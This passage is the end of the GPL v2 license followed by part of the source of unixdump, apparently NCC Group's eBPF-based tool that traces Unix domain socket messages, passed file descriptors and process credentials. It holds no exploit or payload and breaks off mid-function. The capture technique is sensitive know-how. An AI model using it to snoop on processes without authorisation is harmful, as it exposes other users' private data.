| 10. If you wish to incorporate parts of the Program into other free 302 | programs whose distribution conditions are different, write to the author 303 | to ask for permission. For software which is copyrighted by the Free 304 | Software Foundation, write to the Free Software Foundation; we sometimes 305 | make exceptions for this. Our decision will be guided by the two goals 306 | of preserving the free status of all derivatives of our free software and 307 | of promoting the sharing and reuse of software generally. 308 | 309 | NO WARRANTY 310 | 311 | 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY 312 | FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN 313 | OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES 314 | PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED 315 | OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 316 | MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS 317 | TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE 318 | PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, 319 | REPAIR OR CORRECTION. 320 | 321 | 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 322 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR 323 | REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, 324 | INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING 325 | OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED 326 | TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY 327 | YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER 328 | PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE 329 | POSSIBILITY OF SUCH DAMAGES. 330 | 331 | END OF TERMS AND CONDITIONS 332 | 333 | How to Apply These Terms to Your New Programs 334 | 335 | If you develop a new program, and you want it to be of the greatest 336 | possible use to the public, the best way to achieve this is to make it 337 | free software which everyone can redistribute and change under these terms. 338 | 339 | To do so, attach the following notices to the program. It is safest 340 | to attach them to the start of each source file to most effectively 341 | convey the exclusion of warranty; and each file should have at least 342 | the "copyright" line and a pointer to where the full notice is found. 343 | 344 | 345 | Copyright (C) 346 | 347 | This program is free software; you can redistribute it and/or modify 348 | it under the terms of the GNU General Public License as published by 349 | the Free Software Foundation; either version 2 of the License, or 350 | (at your option) any later version. 351 | 352 | This program is distributed in the hope that it will be useful, 353 | but WITHOUT ANY WARRANTY; without even the implied warranty of 354 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 355 | GNU General Public License for more details. 356 | 357 | You should have received a copy of the GNU General Public License 358 | along with this program; if not, write to the Free Software 359 | Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA 360 | 361 | 362 | Also add information on how to contact you by electronic and paper mail. 363 | 364 | If the program is interactive, make it output a short notice like this 365 | when it starts in an interactive mode: 366 | 367 | Gnomovision version 69, Copyright (C) year name of author 368 | Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 369 | This is free software, and you are welcome to redistribute it 370 | under certain conditions; type `show c' for details. 371 | 372 | The hypothetical commands `show w' and `show c' should show the appropriate 373 | parts of the General Public License. Of course, the commands you use may 374 | be called something other than `show w' and `show c'; they could even be 375 | mouse-clicks or menu items--whatever suits your program. 376 | 377 | You should also get your employer (if you work as a programmer) or your 378 | school, if any, to sign a "copyright disclaimer" for the program, if 379 | necessary. Here is a sample; alter the names: 380 | 381 | Yoyodyne, Inc., hereby disclaims all copyright interest in the program 382 | `Gnomovision' (which makes passes at compilers) written by James Hacker. 383 | 384 | , 1 April 1989 385 | Ty Coon, President of Vice 386 | 387 | This General Public License does not permit incorporating your program into 388 | proprietary programs. If your program is a subroutine library, you may 389 | consider it more useful to permit linking proprietary applications with the 390 | library. If this is what you want to do, use the GNU Library General 391 | Public License instead of this License. 392 | -------------------------------------------------------------------------------- /unixdump/unixdump/__init__.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2018 NCC Group Security Services, Inc. All rights reserved. 2 | # Licensed under Dual BSD/GPLv2 per the repo LICENSE file. 3 | 4 | # known to work with bcc @ dccc4f28b7404b2f77f8ad8c7ad1ea741db589f2 5 | # and Linux ubuntu 4.15.0-42-generic 6 | 7 | from __future__ import absolute_import, division, print_function, unicode_literals 8 | from bcc import BPF 9 | from .screen import is_in_screen 10 | from .session import get_session_type 11 | from .term_screen_x11 import get_screen_x11_current_terminal_pid 12 | from .term_screen_wayland import get_screen_wayland_current_terminal_pid 13 | from .term_tmux_x11 import get_tmux_x11_current_terminal_pid 14 | from .term_tmux_wayland import get_tmux_wayland_current_terminal_pid 15 | from .term_wayland import get_wayland_current_terminal_pid 16 | from .term_x11 import get_x11_current_terminal_pid 17 | from .tmux import is_in_tmux 18 | from .ud2b import extract_buffer 19 | import argparse 20 | import ctypes 21 | import hexdump 22 | import sys 23 | import time 24 | import fcntl 25 | 26 | from base64 import b64decode 27 | from binascii import hexlify 28 | 29 | from subprocess import check_output, CalledProcessError 30 | import os 31 | import select 32 | import multiprocessing 33 | 34 | errors = { 35 | 'SK_NOT_UNIX': 1, 36 | 'SK_PEER_NOT_UNIX': 2, 37 | 'SUN_PATH_LEN_TOO_BIG': 3, 38 | 'SUN_PATH_LEN_TOO_SMALL': 4, 39 | 'IOVEC_BASE_NULL': 5, 40 | 'RINGBUF_ENTRY_NULL': 6, 41 | 'SIGNED_LEN_NEGATIVE': 7, 42 | 'NO_SLOTS_AVAILABLE': 8, 43 | 'CMSG_NOT_OK': 9, 44 | 'CMSG_BAD': 10, 45 | 'CMSG_WRONG_TYPE': 11, 46 | 'CMSG_BAD_LEN': 12, 47 | 'CMSG_CRED_ZERO_PID': 13, 48 | 'SK_PEER_NULL' : 14, 49 | 'SK_NULL' : 15, 50 | } 51 | errors_rev = {v: k for k, v in errors.items()} 52 | 53 | error_defines = "\n" 54 | 55 | for k,v in errors.items(): 56 | error_defines += "#define {} ((size_t){})\n".format(k, v) 57 | error_defines += "\n" 58 | 59 | class bcolors: 60 | BLUE = '' 61 | RED = '' 62 | ENDC = '' 63 | 64 | pid_map = {} 65 | fd_map = {} 66 | pid_pair_map = {} 67 | 68 | def parse_args(): 69 | parser = argparse.ArgumentParser(description="Snoop on Unix Domain Sockets.") 70 | parser.add_argument("-r", "--ringsize", type=int, default=20, help="ring buffer size") 71 | parser.add_argument("-a", "--ancillarycount", type=int, default=2, help="max ancillary CMSG blocks to handle") 72 | parser.add_argument("-m", "--scmrightscount", type=int, default=4, help="max FDs in SCM_RIGHTS CMSG block to handle") 73 | parser.add_argument("-e", "--pageexponent", type=int, default=3, help="perf ring buffer size: 2^[pageexponent]") 74 | parser.add_argument("-p", "--pids", nargs='+', default=[], help="trace only these pids") 75 | parser.add_argument("-x", "--exclude", nargs='+', default=[], help="exclude these pids") 76 | parser.add_argument("-P", "--pair", nargs='+', default=[], help="trace only this pid:pair") 77 | parser.add_argument("-s", "--socket", type=str, help="trace only this unix socket path") 78 | parser.add_argument("-b", "--beginswith", action='store_true', help="--socket will match starting sequences") 79 | parser.add_argument("-@", "--base64", action='store_true', help="--socket will be parsed as base64 for binary paths (assumes abstract namespace)") 80 | parser.add_argument("-c", "--color", action='store_true', help="output files with color") 81 | cwd = check_output(['pwd'], shell=False).strip() 82 | parser.add_argument("-o", "--dir", nargs='?', 83 | help="save output to files. defaults to $PWD", default=None, const=cwd) 84 | parser.add_argument("-v", "--verbose", action='store_true', help="disables metadata elision") 85 | parser.add_argument("-z", "--stats", action='store_true', help="debug stats output") 86 | parser.add_argument("-d", "--debug", action='store_true', help="debug output") 87 | parser.add_argument("-L", "--debug-log-level", type=int, default=4, help="bpf log_level to use if --debug is set. defaults to BPF_LOG_STATS (4).") 88 | parser.add_argument("-D", "--debug-log-size", type=int, default=65536, help="bpf log_buf_size to use if --debug is set. defaults to 65536. if enabling further logging with -L 1, 2, 3, 5, 6, or 7 defaults to at least 20000000") 89 | parser.add_argument("-y", "--retry", type=int, default=5, help="number of retry attempts for incomplete events") 90 | parser.add_argument("-l", "--ancillarydata", action='store_true', help="filter for ancillary data") 91 | parser.add_argument("-E", "--preprocessonly", action='store_true', help="output bcc C code and exit") 92 | parser.add_argument("-t", "--excludeownterminal", action='store_true', help="best effort to exclude terminal process from capture") 93 | parser.add_argument("-B", "--extract", type=str, help="extract buffer from file output to binary files") 94 | 95 | args = parser.parse_args() 96 | 97 | if args.extract is not None: 98 | if len(sys.argv) > 3: 99 | parser.error("extract is mutually exclusive") 100 | sys.exit(1) 101 | extract_buffer(args.extract) 102 | sys.exit(0) 103 | if args.dir is not None and not os.path.isdir(args.dir): 104 | parser.error("{} is not a directory.".format(args.dir)) 105 | if args.color and not args.dir: 106 | parser.error("color requires file output") 107 | if args.dir: 108 | start_ts = int(time.time()) 109 | if len(args.pids) > 0: 110 | try: 111 | args.pids = [int(x) for x in args.pids] 112 | except ValueError: 113 | parser.error("invalid PID in --pids: {}".format(repr(args.pids))) 114 | 115 | for pid in args.pids: 116 | pid_map[pid] = check_output(['ps', '-q', str(pid), '-o', 'args='], 117 | shell=False).strip() 118 | if len(args.exclude) > 0: 119 | try: 120 | args.exclude = [int(x) for x in args.exclude] 121 | except ValueError: 122 | parser.error("invalid PID in --exclude: {}".format(repr(args.exclude))) 123 | if len(args.pair) > 0: 124 | if len(args.pids) > 0: 125 | parser.error("--pids and --pair are mutually exclusive") 126 | if len(args.exclude) > 0: 127 | parser.error("--exclude and --pair are mutually exclusive") 128 | if len(args.pair) > 1: 129 | parser.error("--pair currently supports only one pair") 130 | pairs = [] 131 | for pair in args.pair: 132 | pieces = pair.split(':') 133 | if len(pieces) != 2: 134 | parser.error("invalid pair in --pair: {}".format(repr(pair))) 135 | if not unicode.isdigit(pieces[0]) or not unicode.isdigit(pieces[1]): 136 | parser.error("invalid pair in --pair: {}".format(repr(pair))) 137 | pairs.append([int(pieces[0]), int(pieces[1])]) 138 | args.pairs = pairs 139 | 140 | for pair in args.pairs: 141 | pid_map[pair[0]] = check_output(['ps', '-q', str(pair[0]), '-o', 'args='], 142 | shell=False).strip() 143 | pid_map[pair[1]] = check_output(['ps', '-q', str(pair[1]), '-o', 'args='], 144 | shell=False).strip() 145 | else: 146 | args.pairs = [] 147 | 148 | if args.beginswith and not args.socket: 149 | parser.error("beginswith requires socket") 150 | 151 | if args.color: 152 | class bcolors: 153 | # HEADER = '\033[95m' 154 | BLUE = '\033[94m' 155 | # GREEN = '\033[92m' 156 | # YELLOW = '\033[93m' 157 | RED = '\033[91m' 158 | ENDC = '\033[0m' 159 | # BOLD = '\033[1m' 160 | # UNDERLINE = '\033[4m' 161 | 162 | return args 163 | 164 | 165 | def gen_pid_in_list(name, lst): 166 | import pybst.avltree 167 | at = pybst.avltree.AVLTree() 168 | for e in lst: 169 | at.insert(int(e), int(e)) 170 | preamble = '''\ 171 | static inline bool %s(u32 needle) { 172 | ''' % name 173 | out = "" 174 | out += preamble 175 | out += node_to_c(at.Root) 176 | out += '''\ 177 | } 178 | 179 | static inline bool not_%s(u32 needle) { 180 | return !%s(needle); 181 | } 182 | ''' % (name, name) 183 | return out 184 | 185 | def node_to_c(node, nest = 0): 186 | out = '''\ 187 | %s if (needle == %u) { 188 | %s return true; 189 | %s } 190 | ''' % (nest*" ", node.value, nest*" ", nest*" ") 191 | 192 | if node.left == None and node.right == None: 193 | out += '''\ 194 | %s return false; 195 | ''' % (nest*" ") 196 | else: 197 | out += '''\ 198 | %s if (needle < %u) { 199 | ''' % (nest*" ", node.value) 200 | if node.left != None: 201 | out += node_to_c(node.left, nest+1) 202 | else: 203 | out += '''\ 204 | %s return false; 205 | ''' % (nest*" ") 206 | 207 | out += '''\ 208 | %s } else { 209 | ''' % (nest*" ") 210 | if node.right != None: 211 | out += node_to_c(node.right, nest+1) 212 | else: 213 | out += '''\ 214 | %s return false; 215 | ''' % (nest*" ") 216 | out += '''\ 217 | %s } 218 | ''' % (nest*" ") 219 | return out 220 | 221 | #print(gen_pid_in_list("pid_in_lst",[5, 20, 2,3, 50, 60, 44, 52])) 222 | #sys.exit(1) 223 | 224 | def gen_ratchet_switch(sz): 225 | preamble = '''switch (sync->next) { 226 | ''' 227 | entry_template = ''' 228 | case {}: {{ 229 | nxt = {}; 230 | sync->next = {}; 231 | break; 232 | }}; 233 | ''' 234 | end = ''' 235 | default: { 236 | nxt = 0; 237 | sync->next = 1; 238 | } 239 | } 240 | ''' 241 | out = "" 242 | out += preamble 243 | for i in range(sz): 244 | out += entry_template.format(i, i, i+1) 245 | out += end 246 | return out 247 | 248 | def render_code(template, format_args): 249 | return template.replace( 250 | "{", "{{" 251 | ).replace( 252 | "}", "}}" 253 | ).replace( 254 | "{{{{", "{" 255 | ).replace( 256 | "}}}}", "}" 257 | ).format(**format_args) 258 | 259 | events_count = 0 260 | used_zero_count = 0 261 | used_zero_queue = [] 262 | dropped_used_zero_count = 0 263 | no_slots_count = 0 264 | 265 | notify_memset = ''' 266 | #pragma unroll 267 | for (size_t i=0; i < sizeof(n); i++) { 268 | ((char*)&n)[i] = 0; 269 | } 270 | ''' 271 | 272 | def main(): 273 | args = parse_args() 274 | 275 | if args.excludeownterminal: 276 | session = get_session_type() 277 | tmux = is_in_tmux() 278 | screen = is_in_screen() 279 | if session == 'x11': 280 | if tmux: 281 | tpid = get_tmux_x11_current_terminal_pid() 282 | elif screen: 283 | tpid = get_screen_x11_current_terminal_pid() 284 | else: 285 | tpid = get_x11_current_terminal_pid() 286 | elif session == 'wayland': 287 | if tmux: 288 | tpid = get_tmux_wayland_current_terminal_pid() 289 | elif screen: 290 | sys.stderr.write('screen on terminals on wayland is not currently supported.\n') 291 | sys.exit(1) 292 | #tpid = get_screen_wayland_current_terminal_pid() 293 | else: 294 | tpid = get_wayland_current_terminal_pid() 295 | else: 296 | sys.stderr.write('XDG_SESSION_TYPE not supported\n') 297 | sys.exit(1) 298 | args.exclude.extend(tpid) 299 | 300 | RING_SIZE = args.ringsize 301 | PAGECNT = 2 ** args.pageexponent 302 | 303 | filter_pid = "" 304 | filter_unix = "" 305 | exclude_pids = "" 306 | 307 | defines = "" 308 | 309 | if len(args.pids) == 1: 310 | defines += "#define FILTER_PID %d\n" % args.pids[0] 311 | if len(args.pairs) == 1: 312 | defines += "#define FILTER_PAIR\n" 313 | defines += "#define FILTER_PAIR_1 %d\n" % args.pairs[0][0] 314 | defines += "#define FILTER_PAIR_2 %d\n" % args.pairs[0][1] 315 | if args.socket is not None: 316 | sockkey = args.socket 317 | if args.base64: 318 | sockkey = '@' + ''.join(['\\x' + xx for xx in map(''.join, zip(*[iter(hexlify(b64decode(sockkey)).decode('utf-8'))]*2))]) 319 | defines += "#define FILTER_UNIX \"%s\"\n" % sockkey 320 | 321 | if len(args.pids) > 1: 322 | defines += "#define INCLUDE_PIDS\n" 323 | if len(args.exclude) > 0: 324 | defines += "#define EXCLUDE_PIDS\n" 325 | if args.beginswith: 326 | defines += "#define BEGINS_WITH\n" 327 | 328 | if args.ancillarydata: 329 | defines += "#define ANCILLARY\n" 330 | 331 | #if args.ancillarycount < 2: 332 | # args.ancillarycount = 2 333 | defines += "#define ANCILLARY_COUNT ((size_t)%d)\n" % args.ancillarycount 334 | #if args.scmrightscount < 4: 335 | # args.scmrightscount = 4 336 | defines += "#define SCM_RIGHTS_COUNT ((size_t)%d)\n" % args.scmrightscount 337 | 338 | format_args = { 339 | 'defines': defines, 340 | 'error_defines': error_defines, 341 | 'RING_SIZE': RING_SIZE, 342 | 'ratchet_switch': gen_ratchet_switch(RING_SIZE), 343 | 'cores': multiprocessing.cpu_count(), 344 | 'is_included_pid': '', 345 | 'is_excluded_pid': '', 346 | 'notify_memset': '', 347 | } 348 | 349 | if len(args.pids) > 1: 350 | format_args['is_included_pid'] = gen_pid_in_list("is_included_pid", args.pids) 351 | 352 | if len(args.exclude) > 0: 353 | format_args['is_excluded_pid'] = gen_pid_in_list("is_excluded_pid", args.exclude) 354 | 355 | code_template = """ 356 | {{defines}} 357 | {{error_defines}} 358 | 359 | #include 360 | #include 361 | #include 362 | #include 363 | #include 364 | #include 365 | 366 | #define UINT8_MAX (255) 367 | #define UINT32_MAX (4294967295UL) 368 | 369 | #define RING_SIZE ((size_t){{RING_SIZE}}) 370 | #define NUM_CPU ((size_t){{cores}}) 371 | 372 | typedef struct data { 373 | volatile size_t used; 374 | //volatile size_t len; 375 | uint8_t buffer[4096]; 376 | } data_t; 377 | #define BUFFER_SIZE (sizeof(((data_t*)NULL)->buffer)) 378 | BPF_PERCPU_ARRAY(ring_buf, data_t, RING_SIZE); 379 | //BPF_ARRAY(ring_buf, data_t, RING_SIZE); 380 | 381 | struct sync_t { 382 | size_t next; 383 | }; 384 | BPF_PERCPU_ARRAY(sync_buf, struct sync_t, 1); 385 | 386 | struct scm_rights { 387 | int fds[SCM_RIGHTS_COUNT]; 388 | int pad[SCM_RIGHTS_COUNT % 2]; 389 | }; 390 | 391 | struct scm_credentials { 392 | u32 pid; 393 | u32 uid; 394 | u32 gid; 395 | u32 pad; 396 | }; 397 | 398 | #define SCM_DATA_PAD_COUNT (CMSG_ALIGN(\ 399 | sizeof(struct scm_rights) > sizeof(struct scm_credentials) ?\ 400 | sizeof(struct scm_rights) :\ 401 | sizeof(struct scm_credentials)\ 402 | ) / sizeof(u64)\ 403 | ) 404 | struct scm_data { 405 | // enumify later: pad = 0, rights = 1, creds = 2; high bit (last) = truncated 406 | u32 type; 407 | u32 num; 408 | union { 409 | struct scm_rights rights; 410 | struct scm_credentials creds; 411 | u64 fill[SCM_DATA_PAD_COUNT]; 412 | } content; 413 | }; 414 | 415 | typedef struct notify { 416 | u16 cpu; 417 | u16 type; // SOCK_STREAM, SOCK_DGRAM 418 | u32 index; 419 | size_t sk_file; 420 | size_t peer_file; 421 | u32 pid; 422 | u32 peer_pid; 423 | u8 is_bound; 424 | u8 is_truncated; 425 | u8 sun_path_len; 426 | u8 error_code; 427 | u32 len; 428 | size_t error_msg; 429 | struct scm_data scm[ANCILLARY_COUNT]; 430 | #if !defined(FILTER_UNIX) || defined(BEGINS_WITH) 431 | union { 432 | uint8_t sun_path[UNIX_PATH_MAX+1]; 433 | size_t fill[14]; 434 | } u; 435 | #endif 436 | } notify_t; 437 | BPF_PERF_OUTPUT(output); 438 | 439 | // note: yet another hack to bypass some weird condition where the validator prefers 440 | // is_bound to be a size_t vs bool depending on the ifdefs in place... 441 | #ifdef FILTER_UNIX 442 | #define BOOL_TYPE bool 443 | #else 444 | #define BOOL_TYPE size_t 445 | #endif 446 | 447 | inline static void clear_scm(notify_t* n, size_t _i) { 448 | /*#pragma unroll 449 | for (size_t i = 0; i < ANCILLARY_COUNT; i++) { 450 | if (i >= _i) { 451 | n->scm[i].type = 0; 452 | n->scm[i].len = 0; 453 | #pragma unroll 454 | for (size_t j=0; j < SCM_DATA_PAD_COUNT; j++) { 455 | n->scm[i].content.fill[j] = 0; 456 | } 457 | } 458 | }*/ 459 | 460 | #pragma unroll 461 | for (size_t i = 0; i < ANCILLARY_COUNT; i++) { 462 | if (i >= _i) { 463 | char* scm = (char*)&n->scm[i]; 464 | #pragma unroll 465 | for (size_t j=0; j < sizeof(struct scm_data); j++) { 466 | scm[j] = 0; 467 | } 468 | } 469 | } 470 | } 471 | 472 | inline static void clear_scm_index(notify_t* n, size_t i) { 473 | char* scm = (char*)&n->scm[i]; 474 | #pragma unroll 475 | for (size_t j=0; j < sizeof(struct scm_data); j++) { 476 | scm[j] = 0; 477 | } 478 | } 479 | 480 | inline static void notify(notify_t* n, 481 | struct pt_regs* ctx) { 482 | output.perf_submit(ctx, n, sizeof(notify_t)); 483 | } 484 | 485 | // magic to trick the validator 486 | inline static struct unix_sock* pick_sock(struct unix_sock* u, struct unix_sock* up, struct unix_sock** other) { 487 | struct unix_address* addr = u->addr; 488 | if (addr != NULL && addr->len != 0) { 489 | *other = up; 490 | return u; 491 | } 492 | *other = u; 493 | return up; 494 | } 495 | 496 | #ifdef FILTER_UNIX 497 | static inline bool cmp_sun_path(char* str, size_t len) { 498 | char needle[] = FILTER_UNIX; 499 | 500 | if (sizeof(needle) == 1 && 0 == len) { 501 | return true; 502 | } 503 | 504 | #ifndef BEGINS_WITH 505 | if (sizeof(needle)-1 != len) { 506 | return false; 507 | } 508 | #endif 509 | 510 | char haystack[sizeof(needle)]; 511 | if (str == NULL) { 512 | return false; 513 | } 514 | bpf_probe_read(&haystack, sizeof(haystack), (void *)str); 515 | #ifdef BEGINS_WITH 516 | size_t const stop = sizeof(needle)-2; 517 | #else 518 | size_t const stop = sizeof(needle)-1; 519 | #endif 520 | 521 | volatile char const* _needle = needle; 522 | volatile char const* _haystack = haystack; 523 | 524 | #pragma unroll 525 | for (int i = 0; i < stop; ++i) { 526 | if (_needle[i] != _haystack[i]) { 527 | return false; 528 | } 529 | } 530 | return true; 531 | } 532 | #endif 533 | 534 | #ifdef INCLUDE_PIDS 535 | {{is_included_pid}} 536 | #endif 537 | 538 | #ifdef EXCLUDE_PIDS 539 | {{is_excluded_pid}} 540 | #endif 541 | 542 | inline static void copy_into_entry_buffer(data_t* entry, size_t const len, char* base, u8 volatile* trunc) { 543 | size_t l = len & 0x1fff; 544 | if (l >= BUFFER_SIZE) { 545 | *trunc = 1; 546 | } 547 | if (l >= BUFFER_SIZE) { 548 | l = BUFFER_SIZE - 1; 549 | } 550 | bpf_probe_read(entry->buffer, l, base); 551 | } 552 | 553 | static inline struct cmsghdr* cmsg_firsthdr_x(struct msghdr* msg) { 554 | void* msg_control = msg->msg_control; 555 | size_t msg_controllen = msg->msg_controllen; 556 | return __CMSG_FIRSTHDR(msg_control, msg_controllen); 557 | } 558 | 559 | static inline struct cmsghdr* cmsg_nxthdr_x(struct msghdr* msg, struct cmsghdr* cmsg) { 560 | void* msg_control = msg->msg_control; 561 | size_t msg_controllen = msg->msg_controllen; 562 | 563 | return __cmsg_nxthdr(msg_control, msg_controllen, cmsg); 564 | } 565 | 566 | static inline int process_cmsg(struct cmsghdr* real_cmsg, 567 | struct cmsghdr* stack_cmsg, 568 | size_t i, notify_t* n) { 569 | //clear_scm_index(n, i); 570 | if (stack_cmsg->cmsg_level == SOL_SOCKET) { 571 | n->scm[i].type = stack_cmsg->cmsg_type; 572 | switch (stack_cmsg->cmsg_type) { 573 | case SCM_RIGHTS: { 574 | int *fdp = (int*)CMSG_DATA(real_cmsg); 575 | u32 num = (stack_cmsg->cmsg_len-sizeof(struct cmsghdr)) / sizeof(int); 576 | n->scm[i].num = num; 577 | #pragma unroll 578 | for (size_t j = 0; j < SCM_RIGHTS_COUNT; j++) { 579 | if (j < num) { 580 | //n->scm[i].content.rights.fds[j] = fdp[j]; 581 | bpf_probe_read(&n->scm[i].content.rights.fds[j], sizeof(int), &fdp[j]); 582 | } else { 583 | n->scm[i].content.rights.fds[j] = -1; 584 | } 585 | } 586 | break; 587 | } 588 | case SCM_CREDENTIALS: { 589 | if (stack_cmsg->cmsg_len != CMSG_LEN(sizeof(struct ucred))) { 590 | n->error_code = CMSG_BAD_LEN; 591 | n->error_msg = stack_cmsg->cmsg_len; 592 | return -1; 593 | } 594 | struct ucred* ucp = (struct ucred*)CMSG_DATA(real_cmsg); 595 | if (ucp == NULL){ 596 | return -1; 597 | } 598 | //u32 ppp; 599 | //bpf_probe_read(&ppp, sizeof(u32), ucp); 600 | //if (ppp == 0){ 601 | // n->error_code = CMSG_CRED_ZERO_PID; 602 | // n->error_msg = ppp; 603 | // return -1; 604 | //} 605 | bpf_probe_read(&n->scm[i].content.creds, sizeof(struct ucred), ucp); 606 | //n->scm[i].content.creds.pad = 0; 607 | break; 608 | } 609 | default: { 610 | n->error_code = CMSG_WRONG_TYPE; 611 | n->error_msg = 0; 612 | return -1; 613 | } 614 | } 615 | } 616 | return 0; 617 | } 618 | 619 | int kprobe__unix_stream_sendmsg(struct pt_regs *ctx, struct socket *sock, struct msghdr *msg){ 620 | notify_t n; 621 | {{notify_memset}} 622 | /*#pragma unroll 623 | for (size_t i=0; i < (sizeof(n)); i++) { 624 | ((char*)&n)[i] = 0; 625 | }*/ 626 | n.cpu = bpf_get_smp_processor_id(); 627 | n.type = SOCK_STREAM; 628 | 629 | u32 nxt = UINT32_MAX; 630 | 631 | char* sun_path_ptr = NULL; 632 | 633 | { 634 | size_t pid_tgid = bpf_get_current_pid_tgid(); 635 | 636 | n.pid = (u32)(pid_tgid >> 32); 637 | n.peer_pid = 0xffffffff; 638 | } 639 | #ifdef EXCLUDE_PIDS 640 | if (is_excluded_pid(n.pid)) { 641 | return 0; 642 | } 643 | #endif 644 | 645 | struct sock* sk = sock->sk; 646 | 647 | if (sk->sk_family != AF_UNIX) { 648 | n.error_code = SK_NOT_UNIX; 649 | n.error_msg = 0; 650 | goto pre_is_bound_error; 651 | } 652 | 653 | struct unix_sock* us = unix_sk(sk); 654 | struct sock* peer = us->peer; 655 | 656 | if (peer->sk_family != AF_UNIX) { 657 | n.error_code = SK_PEER_NOT_UNIX; 658 | n.error_msg = peer->sk_family; 659 | goto pre_is_bound_error; 660 | } 661 | 662 | struct pid* peer_pid = sk->sk_peer_pid; 663 | if (peer_pid != NULL) { 664 | //n.peer_pid = pid_nr(peer_pid); 665 | n.peer_pid = peer_pid->numbers[0].nr; 666 | } 667 | 668 | #ifdef EXCLUDE_PIDS 669 | if (is_excluded_pid(n.peer_pid)) { 670 | return 0; 671 | } 672 | #endif 673 | 674 | #ifdef FILTER_PID 675 | if (n.pid != FILTER_PID && n.peer_pid != FILTER_PID) { 676 | return 0; 677 | } 678 | #elif defined FILTER_PAIR 679 | if (!( 680 | (n.pid == FILTER_PAIR_1 && n.peer_pid == FILTER_PAIR_2) || 681 | (n.pid == FILTER_PAIR_2 && n.peer_pid == FILTER_PAIR_1) 682 | )) { 683 | return 0; 684 | } 685 | #elif defined INCLUDE_PIDS 686 | if (!is_included_pid(n.pid) && !is_included_pid(n.peer_pid)) { 687 | return 0; 688 | } 689 | #endif 690 | 691 | 692 | struct socket* sk_socket = sk->sk_socket; 693 | if (sk_socket) { 694 | n.sk_file = (uintptr_t) sk_socket->file; 695 | } else { 696 | n.sk_file = SIZE_MAX; 697 | } 698 | sk_socket = peer->sk_socket; 699 | if (sk_socket) { 700 | n.peer_file = (uintptr_t) sk_socket->file; 701 | } else { 702 | n.peer_file = SIZE_MAX; 703 | } 704 | 705 | struct unix_sock* up = unix_sk(peer); 706 | 707 | struct unix_sock* other = NULL; 708 | struct unix_sock* u = pick_sock(us, up, &other); 709 | n.is_bound = (uintptr_t)us == (uintptr_t)u; 710 | struct unix_address* addr = u->addr; 711 | 712 | n.sun_path_len = addr->len; 713 | 714 | if (n.sun_path_len > UNIX_PATH_MAX + sizeof(short)) { 715 | n.error_code = SUN_PATH_LEN_TOO_BIG; 716 | n.error_msg = 0; 717 | goto pre_path_error; 718 | } else if (n.sun_path_len < sizeof(short)) { 719 | //pass 720 | } else { 721 | n.sun_path_len -= sizeof(short); 722 | } 723 | #if defined(FILTER_UNIX) && !defined(BEGINS_WITH) 724 | char sun_path[UNIX_PATH_MAX+1]; 725 | sun_path_ptr = sun_path; 726 | #else 727 | sun_path_ptr = n.u.sun_path; 728 | #endif 729 | 730 | //note: it's a bit of a waste to always copy the path to the stack, even if 731 | // we aren't actually filtering on it. i've tried a few different ways 732 | // to split up this logic across the ifdefs, but the main buffer copy 733 | // always flags a `min value is negative, either use unsigned or 'var &= const'` 734 | // check that has no basis in reality if we try to do a copy after 735 | // the ring buffer entry checks, regardless of whether we copy the path 736 | // onto the stack or directly into the entry. 737 | 738 | if (n.sun_path_len > 0) { 739 | #if !defined(FILTER_UNIX) || defined(BEGINS_WITH) 740 | n.u.fill[13] = 0; 741 | #endif 742 | if (addr->hash < UNIX_HASH_SIZE) { 743 | bpf_probe_read(sun_path_ptr, UNIX_PATH_MAX, addr->name->sun_path); 744 | sun_path_ptr[0] = '@'; 745 | } else { 746 | if (n.sun_path_len > 0) { 747 | n.sun_path_len -= 1; 748 | } 749 | bpf_probe_read(sun_path_ptr, UNIX_PATH_MAX, addr->name->sun_path); 750 | } 751 | sun_path_ptr[UNIX_PATH_MAX] = '\\0'; 752 | } else { 753 | #if !defined(FILTER_UNIX) || defined(BEGINS_WITH) 754 | #pragma unroll 755 | for (size_t i=0; i < 14; i++) { 756 | n.u.fill[i] = 0; 757 | } 758 | #endif 759 | } 760 | 761 | #ifdef FILTER_UNIX 762 | if (!cmp_sun_path(sun_path_ptr, n.sun_path_len)) { 763 | return 0; 764 | } 765 | #endif 766 | 767 | //note: while it would be preferable to just null out the sections we don't 768 | // use, the bpf validator is throwing a tantrum when we tried to do 769 | // that. for now, we waste a bunch of extra writes to appease it. 770 | clear_scm(&n, 0); 771 | if (msg != NULL) { 772 | struct msghdr mhdr; 773 | bpf_probe_read((void*)&mhdr, sizeof(mhdr), (void*)msg); 774 | struct cmsghdr *_cmsg = NULL; 775 | _cmsg = cmsg_firsthdr_x((struct msghdr*)&mhdr); 776 | 777 | struct cmsghdr cmsg; 778 | 779 | #ifdef ANCILLARY 780 | if (_cmsg == NULL){ 781 | return 0; 782 | } 783 | #endif 784 | 785 | //size_t _i = SIZE_MAX; 786 | #pragma unroll 787 | for (size_t i = 0; i < ANCILLARY_COUNT; i++) { 788 | if (_cmsg) { 